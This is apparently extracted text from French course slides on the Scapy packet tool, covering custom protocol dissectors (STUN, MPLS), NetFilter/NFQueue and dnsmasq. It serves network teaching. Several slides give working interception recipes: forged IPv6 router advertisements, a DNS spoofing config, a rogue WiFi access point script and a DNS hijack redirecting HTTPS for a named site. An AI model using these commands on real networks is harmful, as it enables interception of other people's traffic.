9 0x0112 : "Shared Secret Error Response"}),
Les fourberies de Scapy - P-FB

10 FieldLenField("Taille", None, length_of="Attributs", fmt="H"),


11 XIntField("MagicCookie", 0),
12 StrFixedLenField("TransactionID", "1", 12)]
Format d’un paquet STUN 57

Dans WireShark :
Les fourberies de Scapy - P-FB

On visualise un trafic d’échange du protocole STUN, et on se rend compte qu’un paquet STUN peut
contenir une liste de sous paquets…
Les fourberies de Scapy - P-FB

Format d’un paquet STUN


58
Ajout de protocole : les champs de longueur variable 59

Dans l’implémentation de certains protocoles, il arrive que la taille d’un champ soit déterminée par la
valeur d’un autre champ.

Par exemple, un champ taille peut indiquer la taille d’un champ de données de longueur variable.

Il est alors nécessaire de pouvoir indiquer à Scapy :


∘ comment calculer automatiquement la taille à partir des données dans le cas de la construction d’un
paquet ;
∘ comment découper le paquet en accord avec la taille indiquée.
Exemple
1 FieldLenField("Taille", None, length_of="Donnees"),
2 StrLenField("Donnees", "Rien", length_from = lambda pkt: [Link])
Il est nécessaire de lier les deux champs, ici «Taille» et «Donnees», lors de leur définition.

On utilise une lambda fonction pour obtenir et calculer la valeur. Il faut utiliser le même nom pour la
définition du champs et l’accès à l’attribut, ici «Taille» identifie le champ de longueur.
Les fourberies de Scapy - P-FB

L’argument None utilisé comme paramètre de FieldLenField indique qu’il n’y a pas de valeur par
défaut, mais que cette valeur devra être calculée automatiquement.
Ajout de protocole : les champs de longueur variable 60
Pour indiquer la taille en octet du champ, utilisé pour indiquer la taille d’un autre champ, on peut utiliser
l’argument fmt et indiquer une chaîne de format comme indiqué dans le module struct :
1 FieldLenField("Taille", None, length_of="Donnees", fmt="H"),
2 StrLenField("Donnees", "Rien", length_from = lambda pkt: [Link])
Il est possible d’ajuster le champ de longueur variable suivant des tailles différentes de mots.
Par exemple, une longueur peut être exprimée en mots de 32 bits :
1 FieldLenField("Taille", None, length_of="Donnees", adjust=lambda pkt,x: (x+1)/4),

Rappel sur le format utilisé par struct :


H
unsigned short, c-à-d sur 16 bits, c’est la valeur par défaut utilisée par Scapy
B
unsigned byte, c-à-d sur 8 bits
I
unsigned int, c-à-d sur 32 bits
Les fourberies de Scapy - P-FB
Ajout de protocole : liens entre couches protocolaires 61
Pour pouvoir calculer la valeur d’un champ à partir d’une couche supérieure, il faut d’abord définir un
champ pour recevoir la valeur dans la couche courante et ensuite utiliser la méthode post_build
qui permet de modifier le paquet après sa construction :
1 class MonPaquet(Packet):
2 name = "Mon_paquet"
3 fields_desc= [ ShortField("Type", 0x0001),
4 ShortField("Taille", None) ]# la taille d'est pas définie
5 def post_build(self, p, pay): # p : paquet, pay : payload ou chargement
6 if ([Link] is None) and pay :
7 p=p[:2] +[Link]("!H",len(pay)) +p[4:] # modifier le champ Taille
8 return p+pay # on retourne l'en-tête modifiée et le chargement
La méthode post_build va être appelée lors de l’utilisation effective du paquet ou bien lors de son
affichage dans sa forme finale avec show2().

Comme le paquet peut être construit avec une valeur choisie par l’utilisateur, il faut tester si cette valeur
existe (Ici, avec le test «[Link] is None»).

Il faut également savoir s’il y a bien une couche supérieure, payload avec le test « and pay:».
Les fourberies de Scapy - P-FB
Ajout de protocole : liens entre couches protocolaires 62
Il faut considérer les données, le paquet, sur lesquelles on va travailler comme une suite d’octets que
l’on va modifier :
1 def post_build(self, p, pay): # p\,: paquet, pay\,: payload ou chargement
2 if ([Link] is None) and pay :
3 p=p[:2] +[Link]("!H",len(pay)) +p[4:] # modifier le champ Taille
4 return p+pay # on retourne l'en-tête modifiée et le chargement
La méthode do_build reçoit 3 arguments : le paquet lui-même, le paquet sous forme d’un suite
d’octets, et le chargement qui correspond aux données suivantes.

Il faut donc le décomposer comme une suite d’octets en tenant compte des champs qui ne doivent pas
être modifiés, comme ici, le champs Type d’où la recomposition : p=p[:2]+…+p[4:].

Pour la calcul du champs Taille, on utilise le module struct qui va garantir le format des données :
ici un format "!H" pour un entier sur deux octets dans le sens réseau (big-endian).

À la fin, ma méthode renvoi la concaténation de l’en-tête, la couche courante, au chargement, la couche


supérieure : return p+pay.
Les fourberies de Scapy - P-FB
Exemple d’ajout de protocole : protocole STUN 63
Ici, on a une variation sur les champs de taille variable : un champ «liste de paquets» de taille variable.
1 class STUN(Packet):
2 name = "STUNPacket"
3 magic_cookie = 0
4 fields_desc=[ XShortEnumField("Type", 0x0001,
5 { 0x0001 : "Binding Request",
6 0x0002 : "Shared secret Request",
7 0x0101 : "Binding Response",
8 0x0102 : "Shared Secret Response",
9 0x0111 : "Binding Error Response",
10 0x0112 : "Shared Secret Error Response"}),
11 FieldLenField("Taille", None, length_of="Attributs", fmt="H"),
12 XIntField("MagicCookie", 0),
13 StrFixedLenField("TransactionID", "1", 12),
14 PacketListField("Attributs", None, _STUNGuessPayloadClass,
15 length_from=lambda x: [Link])]
On verra en TP comment résoudre les problèmes posés…
Les fourberies de Scapy - P-FB
Ajout de protocole : retour sur les layers… 64

La notion de «layer» ou de couche : Un layer, ou une couche, est similaire à des champs, «fields», que
l’on peut empiler les uns sur les autres.

Par exemple : IP()/UDP()/DNS()

L’intérêt ? Pouvoir choisir d’empiler différents types de couches par dessus une autre couche.
Sur l’exemple, on peut ainsi empiler une couche correspondant au protocole DNS sur une couche cor-
respondant au protocole UDP.

Du point de vue «réseaux» on parle plutôt d’encapsulation, mais du point de vue de la construction/ana-
lyse de paquet, on parle plus d’empilement.

Quelles sont les difficultés ?


Les différentes couches ne sont pas indépendantes : certains champs d’une couche sont associés plus
ou moins directement, à la couche supérieure.

Sur l’exemple précédent :


Les fourberies de Scapy - P-FB

⊳ la couche IP doit savoir le type de la couche supérieure (champ protocol de l’en-tête IP) ;
⊳ la couche UDP : une couche DNS est identifiée par un numéro de port de destination ou de prove-
nance associé au protocole UDP, soit le port 53.
Ajout de protocole : comment aller plus loin ? 65

Problèmes pour l’analyse d’un paquet :


L’analyse d’un paquet repose sur les différentes valeurs présentes dans une couche pour identifier la
couche supérieure (On peut avoir de erreurs d’analyse basée sur des hypothèses erronées !).
Il est ainsi possible d’accrocher des couches entre elles, en indiquant à Scapy comment savoir s’il faut
faire ou non le lien :
∘ si on dispose d’une classe HTTP, il est possible de faire :
1 bind_layers( TCP, HTTP, sport=80 ) # le champ sport du segment TCP
2 bind_layers( TCP, HTTP, dport=80 )
∘ il est possible de défaire les liens mis en place par défaut :
1 split_layers(UDP, DNS, sport=53) # le champ sport du datagramme UDP
Ici, les liens dépendent de la valeur d’un champ de la couche par rapport à sa couche supérieure. Sans
ce lien, la suite du paquet à analyser est indiqué en raw.

Autres liens :
Sur l’exemple précédent, la couche IP doit connaitre la dimension de la couche UDP qui, elle-même,
doit connaitre la taille de la couche DNS.
Les fourberies de Scapy - P-FB

La valeur du champ d’une couche peut dépendre de la valeur de la couche supérieure !


Exemple d’ajout de protocole : protocole STUN 66

Le paquet STUN, comme on l’a vu, peut être complété par une liste de taille variable (éventuellement
nulle) d’extension.
On va devoir définir un type de paquet pour chacune des extensions possibles du protocole :
1 class STUN_Attribut_defaut(Packet): # une classe ancêtre
2 name = "STUN Attribut par defaut"
3
4 def guess_payload_class(self, p):
5 return Padding # Pour faire appel a _STUNGuessPayloadClass
6
7 class STUN_Attribut1(STUN_Attribut_defaut):
8 name = "MAPPED-ADDRESS"
9 fields_desc = [ ShortField("Type", 0x0001),
10 ShortField("Longueur", 8),
11 ByteField("Vide",0),
12 ByteField("Famille", 0x01),
13 ShortField("Port", 0x0001),
14 IPField("Adresse", "[Link]")]
Ensuite, il va falloir intégrer l’ensemble de ces types dans l’analyse par Scapy du champs de type
PacketListField.
Les fourberies de Scapy - P-FB

Lors de la définition de ce champ, on peut lui donner une fonction pour le guider guessPayload.
Exemple d’ajout de protocole : protocole STUN 67

1 # Dictionnaire des types de sous paquet


2 _tlv_cls = { 0x0001: "STUN_Attribut1",
3 0x0002: "STUN_Attribut2",
4 …
5 0x8022: "STUN_Attribut7"
6 }
7 # Cette fonction guide PacketListField, Pour savoir comment analyser
8 # chacun des sous-paquets
9 def _STUNGuessPayloadClass(p, **kargs):
10 cls = Raw
11 if len(p) >= 2:
12 # Lire 2 octets du payload
13 # pour obtenir le type du sous paquet
14 t = [Link]("!H", p[:2])[0]
15 clsname = _tlv_cls.get(t, "Raw")
16 cls = globals()[clsname]
17
18 return cls(p, **kargs)
Les fourberies de Scapy - P-FB
Ajout de protocole : intégration dans Scapy 68

Pour utiliser votre nouveau protocole, vous devez mettre le module qui le décrit dans un répertoire
particulier accessible par scapy.

Ce répertoire est défini par rapport au répertoire où a été installé scapy :


scapy/layers/mon_protocole.py.

Enfin, pour permettre à Scapy d’utiliser automatiquement votre protocole, il faut l’associer à une infor-
mation connue du protocole de couche inférieure qui le reçoit :

1 bind_layers( TCP, HTTP, sport=80 ) # le champ sport du segment TCP


2 bind_layers( TCP, HTTP, dport=80 )

Attention : cette approche ne pourrait pas fonctionner dans le cas de notre protocole STUN et de ses
extentions…
Les fourberies de Scapy - P-FB
Test de l’ajout du protocole STUN dans Scapy… 69

Démonstration sur machine :


Les fourberies de Scapy - P-FB
Ajout de l’extension MPLS 70

1 # [Link] >>> execfile("[Link]")


2 >>> p=Ether()/MPLS()/IP()
3 # [Link] = MPLS >>> p
4 # [Link] = loads <Ether type=0x8847 |<MPLS |<IP |>>>
5 >>> [Link]()
6 from [Link] import Packet,bind_layers ###[ Ethernet ]###
7 from [Link] import BitField,ByteField
dst= ff:ff:ff:ff:ff:ff
8 from [Link].l2 import Ether
9 src= 00:00:00:00:00:00
10 class MPLS(Packet): type= 0x8847
11 name = "MPLS" ###[ MPLS ]###
12 fields_desc = [ BitField("label", 3, 20), label= 3
13 BitField("cos", 0, 3),
cos= 0
14 BitField("s", 1, 1),
ByteField("ttl", 0) ] s= 1
15
16 ttl= 0
17 bind_layers(Ether, MPLS, type=0x8847) ###[ IP ]###
18 bind_layers(MPLS, IP) version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
Les fourberies de Scapy - P-FB

proto= ip
chksum= None
src= [Link]
dst= [Link]
\options\
Ajout de l’extension MPLS 71
ff ff ff ff ff ff 00 00 00 00 00 00 88 47 00 00
Ethernet
31 00 45 00 00 28 00 01 00 00 40 06 7c cd 7f 00
dst ff:ff:ff:ff:ff:ff
00 01 7f 00 00 01 00 14 00 50 00 00 00 00 00 00
src 00:00:00:00:00:00
00 00 50 02 20 00 91 7c 00 00
type 0x8847
MPLS
label 3L
cos 0L
s 1L
ttl 0
IP
version 4L
ihl 5L
tos 0x0
len 40
id 1
flags
frag 0L
ttl 64
proto tcp
chksum 0x7ccd
src [Link]
dst [Link]
options []
TCP
sport ftp data
Les fourberies de Scapy - P-FB

dport www
seq 0
ack 0
dataofs 5L
reserved 0L
flags S
window 8192
chksum 0x917c
urgptr 0
options {}
20 Scapy & IPv6 72

Il est possible dans Scapy d’envoyer des paquets au format IPv6.


Par exemple, on peut diffuser l’annonce d’un préfixe réseau global et l’adresse du routeur associé à l’ensemble des
postes connectés dans le lien local (éventuellement, on peut se mettre en lieu et place de ce routeur…) :
1 sendp(Ether()/IPv6()/ICMPv6ND_RA()/
2 ICMPv6NDOptPrefixInfo(prefix="2001:db8:cafe:deca::", prefixlen=64)
3 /ICMPv6NDOptSrcLLAddr(lladdr="00:b0:b0:67:89:AB"), loop=1, inter=3)

Cela fonctionne avec des machines de type Ubuntu ou de type Windows 7 :


Les fourberies de Scapy - P-FB

Les deux machines ont accepté le préfixe diffusé par Scapy.


Les distributions actuelles de Linux bloquent l’acceptation des préfixes de route.
Mais si elles sont activées, il est également possible de «jouer» avec les préfé-
rences de routes pour imposer sa propre route...
21 Scapy & NetFilter 73
Scapy est formidable
Scapy est un outil :
□ écrit en Python ;
□ d’analyse et de construction de paquet qui est efficace pour :
⋄ la création d’un stimulus et la récupération de la réponse ;
⋄ l’envoi de paquets «forgés» créés à la main avec passion ;
⋄ «sniffer» un réseau et réagir à la découverte d’un paquet.
Mais
Il est n’est pas adapté au traitement d’un flux rapide de paquets, comme celui passant à travers un routeur ou un
pont.

Utilisation de NetFilter
Il est possible de «l’aider» avec Netfilter :
⋆ NetFilter analyse le flux et sélectionne les paquets à traiter parmi le flux ;

⋆ NetFilter envoie ces paquets à Scapy ;


Les fourberies de Scapy - P-FB

⋆ Scapy prend en charge ses paquets :


⋄ pour faire une analyse ;
⋄ pour générer une réponse ;

⋆ NetFilter traite les paquets réponses donnés par Scapy et les renvoie vers le réseau.
Scapy & NetFilter 74
Le but
Insérer l’hôte où tourne Scapy sur le chemin de la communication entre la machine cible et le reste du
réseau.
Avertissement
Ce travail est à but pédagogique et ne saurait être utilisé sur de vraies communications entre des
personnes existantes ou ayant existées, voire même carrément insouciantes .

Il est bon de rappeler, également, qu’aucun paquet n’a été blessé, ni tué mais que certains ont pu
être, à la rigueur, perdus.

Plus sérieusement

Vous n’êtes pas autorisés à intercepter les communications d’un tiers.


Les fourberies de Scapy - P-FB
Scapy & NetFilter 75
Combiner règles de firewall et NetFilter
Si on travaille sur la machine qui sert de routeur :
□ REDIRECT : permet de rediriger le paquet en réécrivant sa destination vers le routeur lui-même. Cela permet de faire des
proxy transparents pour des services hébergés sur le routeur lui-même
⋄ n’est valide que pour la table nat et les chaînes PREROUTING et OUTPUT
⋄ --to-ports : permet d’indiquer le port de destination à employer
# iptables -t nat -A PREROUTING -s [Link] -d [Link] -p tcp --dport 80 -j REDIRECT
--to-ports 80

Il est possible d’intercepter des communications et de les rediriger vers le routeur lui-même où elles pourront être «adaptée»
aux besoins de l’utilisateur expert…

□ DNAT : permet de faire de la traduction d’adresse uniquement sur l’adresse de destination, pour par exemple faire du «port
forwarding» :
⋄ n’est valable que pour la table nat et les chaînes PREROUTING et OUTPUT ;
⋄ --to-destination : permet d’indiquer par quelle adresse IP il faut remplacer l’adresse de destination ;
# iptables -t nat -A PREROUTING -p tcp -d [Link] --dport 80 -j DNAT
--to-destination [Link]-[Link]
# iptables -A FORWARD -p tcp -i eth0 -d [Link]//24 --dport 80 -j ACCEPT
Les fourberies de Scapy - P-FB

Dans la ligne 1, la possibilité de donner une plage d’adresse permet de laisser le firewall choisir une adresse au hasard
et faire ainsi une sorte d’équilibre de charge.
La ligne 2 est nécessaire dans le cas où le firewall filtrerait tout et doit s’appliquer sur les paquets aux adresses réécrites.

Il est possible de rediriger le trafic vers la machine faisant tourner Scapy.


Scapy & NetFilter 76

□ REJECT : rejette le paquet comme DROP mais renvoi une erreur avec un paquet ICMP
⋄ --reject-with : avec une valeur parmi :
⋆ icmp-net-unreachable ⋆ icmp-proto-unreachable ⋆ icmp-admin-prohibited
⋆ icmp-host-unreachable ⋆ icmp-net-prohibited ⋆ tcp-reset
⋆ icmp-port-unreachable ⋆ icmp-host-prohibited

□ TTL : permet de modifier la valeur du champ de TTL :


⋄ --ttl-set : positionne la valeur ;
⋄ --ttl-dec et --ttl-inc : incrémente la valeur du TTL.
# iptables -t mangle -A PREROUTING -i eth0 -j TTL --ttl-inc 1
Ici, on annule le passage dans le routeur en ré-incrémentant le TTL à la sortie du paquet.

□ XOR : réalise un XOR du contenu TCP et UDP pour le dissimuler à l’analyse


⋄ --key : donne la chaîne à utiliser ;
⋄ --block-size : définie la taille du block
□ LOG : permet d’obtenir une information sur les paquets.
# iptables -t nat -I PREROUTING -p tcp --destination-port 80 -j LOG
Cette information peut être consultée à l’aide de la commande demsg :
Les fourberies de Scapy - P-FB

[34985.564466] IN=eth0 OUT= MAC=00:0c:29:9d:ea:19:00:0c:29:22:ca:2f:08:00 SRC=[Link] DST=[Link]


LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=28737 DF PROTO=TCP SPT=37925 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

⋄ --log-prefix : permet d’ajouter un préfixe pour faciliter la recherche (avec la commande grep par exemple)
# iptables -A INPUT -p tcp -j LOG --log-prefix "INPUT packets"
NFQueue : Combiner NetFilter et Scapy : aller plus loin 77

Il est possible d’aller plus loin et de permettre à Scapy de recevoir l’intégralité du paquet reçu par le Firewall :
⋆ on utilise le firewall pour rediriger les paquets sélectionnés :
# iptables -t filter -i bridge_dmz -A FORWARD -p tcp --sport 5001 -j NFQUEUE --queue-num 0

⋆ Récupérer le paquet dans Scapy et decider de son destin (set_verdict) :

1 #!/usr/bin/python
2 import nfqueue, socket
3 from [Link] import *
4
5 def traite_paquet(dummy, payload):
6 data = payload.get_data()
7 pkt = IP(data) # le paquet est fourni sous forme d'une séquence d'octet, il faut l'importer
8 # accepte le paquet : le paquet est remis dans la pile TCP/IP et poursuit sa route
9 #payload.set_verdict(nfqueue.NF_ACCEPT)
10 # si modifie : le paquet est remis MODIFIE dans la pile TCP/IP et poursuit sa route
11 #payload.set_verdict_modified(nfqueue.NF_ACCEPT, bytes(pkt), len(pkt))
12 # si rejete : le paquet est rejeté
13 #payload.set_verdict(nfqueue.NF_DROP)
14
15 q = [Link]()
16 [Link]()
17 [Link](socket.AF_INET)
18 [Link](socket.AF_INET)
19 q.set_callback(traite_paquet)
Les fourberies de Scapy - P-FB

20 q.create_queue(0)
21 try:
22 q.try_run()
23 except KeyboardInterrupt, e:
24 print "interruption"
25 [Link](socket.AF_INET)
26 [Link]()
NFQueue : contrôle du débit d’une connexion TCP par la taille de la fenêtre 78

En utilisant la règle suivante :


# iptables -t filter -i bridge_dmz -A FORWARD -p tcp --sport 5001 -j NFQUEUE --queue-num 0
On fait passer à travers NFQUEUE les segments TCP en provenance de l’outil iperf (outil permettant d’évaluer le débit
d’une connexion TCP).
Avec Scapy, on modifie la taille des paquets à l’intérieur des segments pour la rendre inférieure à une taille choisie
(notée ici throughput ou débit).

1 if pkt[TCP].window > throughput :


2 pkt[TCP].window = throughput
3 del pkt[TCP].chksum
4 payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
Ce qui donne pour une valeur de throughput = 250 :
pef@solaris:~$ sudo iptables -nvL
Chain FORWARD (policy ACCEPT 17320 packets, 815K bytes)
pkts bytes target prot opt in out source destination
304K 16M NFQUEUE tcp --- bridge_dmz * [Link]/0 [Link]/0 tcp spt:5001 NFQUEUE num 0

root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c [Link]


------------------------------------------------------------
Client connecting to [Link], TCP port 5001
TCP window size: 16.0 KByte (default)
Les fourberies de Scapy - P-FB

------------------------------------------------------------
[ 3] local [Link] port 45352 connected with [Link] port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0-10.5 sec 1.50 MBytes 1.20 Mbits/sec
NFQueue : contrôle du débit d’une connexion TCP par la taille de la fenêtre 79

Pour une valeur de throughput = 1 000 :


root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c [Link]
------------------------------------------------------------
Client connecting to [Link], TCP port 5001
TCP window size: 16.0 KByte (default)
------------------------------------------------------------
[ 3] local [Link] port 45349 connected with [Link] port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0-10.1 sec 5.62 MBytes 4.65 Mbits/sec

Pour une valeur de throughput = 5 000 :


root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c [Link]
------------------------------------------------------------
Client connecting to [Link], TCP port 5001
TCP window size: 16.0 KByte (default)
------------------------------------------------------------
[ 3] local [Link] port 45348 connected with [Link] port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0-10.0 sec 16.2 MBytes 13.6 Mbits/sec

Pour une valeur de throughput = 50 000 :


root@INTERNAL_HOSTA:~/RESEAUX_I/FIREWALL# iperf -c [Link]
Les fourberies de Scapy - P-FB

------------------------------------------------------------
Client connecting to [Link], TCP port 5001
TCP window size: 16.0 KByte (default)
------------------------------------------------------------
[ 3] local [Link] port 45347 connected with [Link] port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0-10.0 sec 16.5 MBytes 13.8 Mbits/sec
22 Scapy & Linux : utilisation de dnsmasq 80

Dnsmasq est un serveur léger fournissant :


⋆ un service de DHCP, où il est possible de :
⋄ configurer les options du DHCP connues dans la RFC 2132 ou d’autres (si elles sont reconnues
par le client) ;
⋄ d’étiqueter des machines suivant leur @MAC ou leur adresse IP «prêtée» pour ensuite leur fournir
des options choisies ;

⋆ un service de DNS «forwarder» : il permet de fournir un service DNS sur un routeur permettant
l’accès Internet à des postes depuis un réseau privé en réalisant du NAT :
⋄ il sert de serveur DNS, il fournit les entrées DNS :
⋆ qui lui sont fournies dans son fichier de configuration ;
⋆ qui sont présentes dans le fichier /etc/hosts de la machine hôte ;
⋆ qui sont associées aux adresses IP qu’il a fourni au travers du DHCP ;
⋄ qu’il a mémorisé sur la machine hôte, que ce soit des adresses symboliques (enregistrements A
ou AAAA) ou des adresses inversées (enregistrement PTR).
Les fourberies de Scapy - P-FB

fonctionnement de «cache» pour réduire le trafic en sortie ;


⋄ qui sont associées au serveur de courrier du domaine (enregistrement MX) ;
⋄ qui sont associées au services présents dans le réseau (enregistrement SRV).
⋆ un serveur TFTP, «Trivial File Transfer Protocol», RFC 1350, 2347, 2348.
Utilisation de dnsmasq 81
Configuration
La configuration est réalisée dans le fichier /etc/[Link] :
1 expand-hosts
2 domain=[Link]
3 dhcp-range=[Link],[Link],168h
4 dhcp-host=11:22:33:44:55:66,12:34:56:78:90:12,[Link]
5 dhcp-host=11:22:33:44:55:66,set:red
6 dhcp-option = tag:red, option:ntp-server, [Link]
7 srv-host=_ldap._tcp.[Link],[Link],389
8 addn-hosts=/etc/banner_add_hosts
9 dhcp-option=6,[Link],[Link]
Description :
1. permet d’étendre les noms de machines avec le nom de domaine indiqué ;
2. indique le nom de domaine ;
3. définit la plage d’adresses fournies par le DHCP ainsi que le temps d’association, ici 168h ;
4. associe une adresse donnée à une adresse MAC donnée ;
5. étiquette une machine par son adresse MAC ;
6. définie une option à fournir aux machines suivant une étiquette ;
7. définie un champ SRV ;
8. ajoute un fichier à consulter pour de nouvelles associations @symbolique, @IP ;
9. option pour diffuser auprès des clients DHCP les dns donnés en lieu et place du serveur dnsmasq.

Le plus court fichier de config pour faire du «spoofing»


Les fourberies de Scapy - P-FB

1 server=[Link] permet d’associer «[Link]» à l’adresse «[Link]»


2 address=/[Link]/[Link] En ajoutant le serveur DNS de Google, on dispose d’un serveur DNS com-
plet.
Pour lancer dnsmasq comme un programme en lui donnant son fichier de configuration :
$ sudo dnsmasq -d -C fichier_configuration
Le proxy ARP 82

Il correspond à la possibilité d’un hôte, le plus souvent un routeur, de répondre avec sa propre @MAC à une requête ARP destinée
à un autre hôte (RFC 925, 1027).
Il permet depuis un routeur de :
– simuler la connexion directe d’un hôte, connecté par une liaison point-à-point au routeur (dialup ou VPN) ;
– relier deux segments de réseaux locaux où les machines connectées auront l’impression d’appartenir à un même et seul réseau
local.
Exemple d’utilisation : création d’une DMZ
Soit le réseau [Link]/24, où l’on voudrait créer une DMZ, mais sans faire de «subnetting» :
⋄ le serveur à placer dans la DMZ est à l’adresse [Link] ;
⋄ les machines peuvent utiliser les adresses restantes ;
⋄ un routeur GNU/Linux est inséré entre le serveur et le reste du réseau.
Activation sur le «routeur»
Pour l’activer, il faut configurer une option du noyau GNU/Linux, en plus de la fonction de routage :
$ sudo sysctl -w [Link]=1
$ sudo sysctl -w [Link].eth0.proxy_arp=1
$ sudo sysctl -w [Link].eth1.proxy_arp=1

Il faudra l’activer sur l’interface choisie, ici, eth0 et eth1.


Les fourberies de Scapy - P-FB

Configuration du routeur
⋄ ses interfaces reliés au serveur et au reste du réseau sont configurées de la même façon (@IP et préfixe) :
⋄ on configure les routes, une vers la partie réseau machine et l’autre vers le serveur :
# ip route add [Link] dev eth1 [Link] dev eth1 scope link
# ip route add [Link]/24 dev eth0 [Link]/24 dev eth0 scope link

On peut vérifier les caches arp des machines.


23 Modifier une interface & Offrir le réseau 83
Renommer une interface
xterm
sudo ip link set enp3s0 down
sudo ip link set enp3s0 name eth0
sudo ip link set eth0 up

Changer l’adresse MAC d’une interface


xterm
sudo ip link set core address 00:00:de:ad:ca:fe

Partager le réseau sur une interface ethernet


xterm
IF=enx000ec7211b72
PREFIX=10.20.30
sudo sysctl -w net.ipv4.ip_forward=1
sudo ip link set dev $IF up
sudo ip address add dev $IF $PREFIX.1/24
sudo iptables -t nat -A POSTROUTING -s $PREFIX.0/24 -j MASQUERADE
sudo dnsmasq -d -z -i $IF -F $PREFIX.100,$PREFIX.150,[Link],12h -O 3,$PREFIX.1 -O 6,[Link],[Link] &
sleep 1
echo "PID dnsmasq $(ps --ppid $! -o pid=)"

Par exemple, le réseau peut être offert par une interface Ethernet/USB de préférence en Gigabit pour pouvoir disposer d’un croise-
ment automatique, ce qui permet d’utiliser un simple câble ethernet et se passer d’un hub/switch.
Passer une interface WiFi en mode moniteur
xterm
Les fourberies de Scapy - P-FB

#!/bin/bash
WIRELESS=wlxa0f3c11449ec
# 1->2412, 2,-> 2417, 3->2422, ...13-> 2472
CHANNEL=2412
if [ $1 ]; then
WIRELESS=$1
fi
sudo ip l set $WIRELESS down
sudo iw dev $WIRELESS set monitor control otherbss
sudo ip l set $WIRELESS up
sudo iw $WIRELESS set freq $CHANNEL
24 Création d’un point d’accès WiFi dynamiquement 84
Première opération : libérer l’interface WiFi
Par défaut, l’interface est prise en charge par le «NetworkManager» qui s’occupe de l’associer avec un profil réseau existant ou bien
à un réseau découvert par écoute des réseaux à proximité.
Pour supprimer la prise en charge automatique de l’interface réseau :
xterm
sudo nmcli device set wlx25bc0c415896 managed no

L’interface concernée.
Deuxième opération : le script

#!/bin/bash
INTERFACEWAN=wlp1s0
INTERFACE=wlx25bc0c415896
SSID=FakeIt

CONFIG=$(cat <<END
interface=$INTERFACE
channel=11
ssid=$SSID
hw_mode=g
wpa=2
wpa_pairwise=TKIP
rsn_pairwise=CCMP
wpa_passphrase=12344321
END
)
Les fourberies de Scapy - P-FB

nmcli device set $INTERFACE managed no


ip a add [Link]/24 dev $INTERFACE
hostapd <(echo "$CONFIG") &
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -s [Link]/24 -o $INTERFACEWAN -j MASQUERADE
dnsmasq -d -z -a $INTERFACE -F [Link],[Link],[Link] -O 6,[Link],[Link] -l /tmp/leases

Le script contient directement le «fichier» passé en paramètre de «hostpad».


Outils pratiques 85
arp-scan
Cet outil réalise un scan rapide par arp du réseau local :
xterm
pef@atmos:~/ResAvII$ [h3] sudo arp-scan -l
Interface: h3-eth0, type: EN10MB, MAC: c2:de:5d:89:7d:29, IPv4: [Link]
Starting arp-scan 1.9.7 with 256 hosts ([Link]
[Link] 62:7a:4e:65:d5:c9 (Unknown: locally administered)
[Link] 00:01:de:ad:be:ef Trango Systems, Inc.
[Link] d2:1a:3a:57:47:6b (Unknown: locally administered)

Pour convertir rapidement une chaine de caractères en hexa


xterm
pef@atmos:~/ResAvII$ [h3] python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> c=b'hello'
>>> c
b'hello'
>>> list(c)
[104, 101, 108, 108, 111]
>>> [hex(x) for x in list(c)]
['0x68', '0x65', '0x6c', '0x6c', '0x6f']
>>> [format(x,'x') for x in list(c)]
Les fourberies de Scapy - P-FB

['68', '65', '6c', '6c', '6f']


>>> ''.join([format(x,'x') for x in list(c)])
'68656c6c6f'
>>>

Par exemple, pour envoyer un message par ping :


ping -c 1 [Link] -p '68656c6c6f'
Détourner le trafic DNS 86

#!/bin/bash

function ctrl_c() {
sudo iptables -t nat -D OUTPUT -d [Link] -p udp --dport 53 -m string --hex-string
"|03|www|06|unilim|02|fr" --algo bm -j DNAT --to-destination [Link]
sudo ip l del fordns
}
sudo ip l add fordns type dummy
sudo ip l set fordns up
sudo ip a add [Link]/24 dev fordns
sudo dnsmasq -d -z -i fordns -A /[Link]/[Link] &
sudo iptables -t nat -A OUTPUT -d [Link] -p udp --dport 53 -m string --hex-string
"|03|www|06|unilim|02|fr" --algo bm -j DNAT --to-destination [Link]
trap ctrl_c INT

sudo socat openssl-listen:443,cert=[Link],key=[Link],verify=0,fork sys


tem:'cat [Link]'

Ici, le trafic https allant vers le serveur [Link] est détourné grâce à une interception des
requêtes DNS :
⊳ dnsmasq est lancé sur une interface bidon ;
⊳ une règle du firewall redirige uniquement les requêtes DNS pour [Link] vers ce serveur
Les fourberies de Scapy - P-FB

dnsmasq ;
⊳ openssl est utilisé pour répondre à la requête https.
Reconfigurer le serveur DNS d’une interface
xterm
$ sudo resolvectl wlo2 [Link]
$ resolvectl status

On utilise le service systemd-resolved de Systemd.


La gestion de trafic massif ?
Utilisation de pandas
Les fourberies de Scapy - P-FB
Qu’est-ce que Pandas ? 88

Pandas est une bibliothèque open-source pour Python qui fournit des structures de données haute
performance et des outils d’analyse de données.

Elle est particulièrement utile pour :

□ Manipulation de données :
⋄ importation de données structurées : par exemple au format CSV, «comma separated values»,
générées par tshark ou bien du json retourné par un webservice ;

⋄ nettoyage : éliminer les informations incomplètes ou inutiles ;


⋄ transformation : changer de type, interprétation de dates ;
⋄ préparation des données pour l’analyse : sélectionner par condition ;
□ Analyse de données :
⋄ statistiques descriptives : sur les valeurs numériques ou non ;
⋄ enrichissement : calculer de nouvelles informations et les ajouter ;
Les fourberies de Scapy - P-FB

⋄ regroupement de données : regrouper les données par critères ;


□ Visualisation de données :
⋄ intégration avec les bibliothèques comme Matplotlib ou Seaborn pour créer des visualisations.
⋄ création de rapport au format json, html ou csv.
Accès aux ressources Web : le module requests 89

Ce module doit être installé :


xterm
$ pip install requests

Il est nécessaire de créer et/ou gérer un environnement virtuel avec le module venv

□ accès aux ressources par la méthode «classique» GET :


reponse = [Link]('[Link]
□ éventuellement avec des paramètres dans l’URL :
reponse = [Link]('[Link]
